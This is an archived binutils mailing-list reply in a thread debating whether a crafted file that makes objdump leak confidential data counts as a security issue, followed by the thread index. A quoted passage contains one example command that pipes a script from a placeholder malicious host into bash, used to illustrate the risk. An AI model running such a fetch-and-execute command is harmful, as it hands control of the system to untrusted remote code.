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From: Richard Earnshaw <Richard.Earnshaw@foss.arm.com>
To: Siddhesh Poyarekar <siddhesh@gotplt.org>,
	Nick Clifton <nickc@redhat.com>,
	Binutils <binutils@sourceware.org>
Cc: "gdb@sourceware.org" <gdb@sourceware.org>
Subject: Re: RFC: Adding a SECURITY.md document to the Binutils
Date: Thu, 13 Apr 2023 14:40:39 +0100	[thread overview]
Message-ID: <2d4c7f13-8a35-3ce5-1f90-ce849a690e66@foss.arm.com> (raw)
In-Reply-To: <01e846c0-c6bf-defe-0563-1ed6309b7038@gotplt.org>



On 13/04/2023 14:35, Siddhesh Poyarekar wrote:
> On 2023-04-13 09:11, Richard Earnshaw wrote:
>>> This is why when one does a:
>>>
>>> curl -s http://evil.website/malicious-script.sh | bash
>>>
>>> it is a legitimate security issue, but it's not a vulnerability in 
>>> bash, nor can it be secured in bash.  One must either do this in a 
>>> sandbox to contain its impact in that sandbox, or do a secondary 
>>> analysis (again in a sandbox) to determine that it is safe.
>>
>> Right, but that's not the case I was concerned about.  My scenario is 
>> more like when you run something like
>>
>> objdump foo.o
>>
>> but reading foo.o causes corruption in the tools (eg by a buffer 
>> exploit) and ends up sending a confidential file to a third party.
> 
> It's not fundamentally different from, e.g.
> 
> bash malicious-script.sh
> 
> it just feels different because you elided the transport mechanism. 
> Fundamentally, it is unsafe to do anything with untrusted content 
> without sandboxing, so objdump is no different.  Sure, objdump is an 
> analysis tool, so it should be able to analyze foo.o without crashing, 
> but that's a robustness issue, not a security one.  The security aspect 
> should be handled by a sandbox.

Sorry, I disagree.  Sending files to third parties is completely outside 
of the intended scope of objdump, so if it ends up being able to do so, 
that's a security issue.

R.

  reply	other threads:[~2023-04-13 13:40 UTC|newest]

Thread overview: 56+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2023-04-07  8:42 Nick Clifton
2023-04-07 10:36 ` Eli Zaretskii
2023-04-11 13:29   ` Nick Clifton
2023-04-11 14:23     ` Simon Marchi
2023-04-11 15:00       ` Eli Zaretskii
2023-04-11 16:22         ` Nick Clifton
2023-04-11 16:32           ` Matt Rice
2023-04-11 18:18         ` J.W. Jagersma
2023-04-12  8:43           ` Nick Clifton
2023-04-08  6:30 ` Jan Beulich
2023-04-10 18:30 ` John Baldwin
2023-04-20 15:56   ` Nick Clifton
2023-04-11 19:45 ` Ian Lance Taylor
2023-04-12 16:02 ` Richard Earnshaw
2023-04-12 16:26   ` Siddhesh Poyarekar
2023-04-12 16:52     ` Richard Earnshaw
2023-04-12 16:58       ` Paul Koning
2023-04-12 17:10       ` Siddhesh Poyarekar
2023-04-13  3:51         ` Alan Modra
2023-04-13  4:25           ` Siddhesh Poyarekar
2023-04-13  5:16             ` Alan Modra
2023-04-13 12:00               ` Siddhesh Poyarekar
2023-04-13 10:25         ` Richard Earnshaw
2023-04-13 11:53           ` Siddhesh Poyarekar
2023-04-13 12:37             ` Richard Earnshaw
2023-04-13 12:54               ` Siddhesh Poyarekar
2023-04-13 13:11                 ` Richard Earnshaw
2023-04-13 13:35                   ` Siddhesh Poyarekar
2023-04-13 13:40                     ` Richard Earnshaw [this message]
2023-04-13 13:56                       ` Siddhesh Poyarekar
2023-04-13 14:50                         ` Richard Earnshaw
2023-04-13 15:02                           ` Siddhesh Poyarekar
2023-04-13 15:05                             ` Richard Earnshaw
2023-04-13 16:42                               ` Siddhesh Poyarekar
2023-04-14  9:52                                 ` Richard Earnshaw
2023-04-14 12:43                                   ` Siddhesh Poyarekar
2023-04-14 12:49                                     ` Richard Earnshaw
2023-04-14 13:13                                       ` Siddhesh Poyarekar
2023-04-13 15:08                             ` Paul Koning
2023-04-13 16:02                               ` Siddhesh Poyarekar
2023-04-13 16:49                                 ` Paul Koning
2023-04-13 17:00                                   ` Siddhesh Poyarekar
2023-04-13 17:05                                     ` Paul Koning
2023-04-13 17:29                                       ` Siddhesh Poyarekar
2023-04-13 17:37                                         ` Paul Koning
2023-04-13 18:16                                           ` Siddhesh Poyarekar
2023-04-14 17:37                                     ` Ian Lance Taylor
2023-04-14 18:27                                       ` Siddhesh Poyarekar
2023-04-14 20:46                                         ` Ian Lance Taylor
2023-04-14 21:24                                           ` Siddhesh Poyarekar
2023-04-17 15:31                                           ` Michael Matz
2023-04-17 19:55                                             ` Ian Lance Taylor
2023-04-14 19:45                                       ` DJ Delorie
2023-04-14 20:49                                         ` Ian Lance Taylor
2023-04-15  6:41                                           ` Xi Ruoyao
2023-04-13 16:06                               ` Richard Earnshaw

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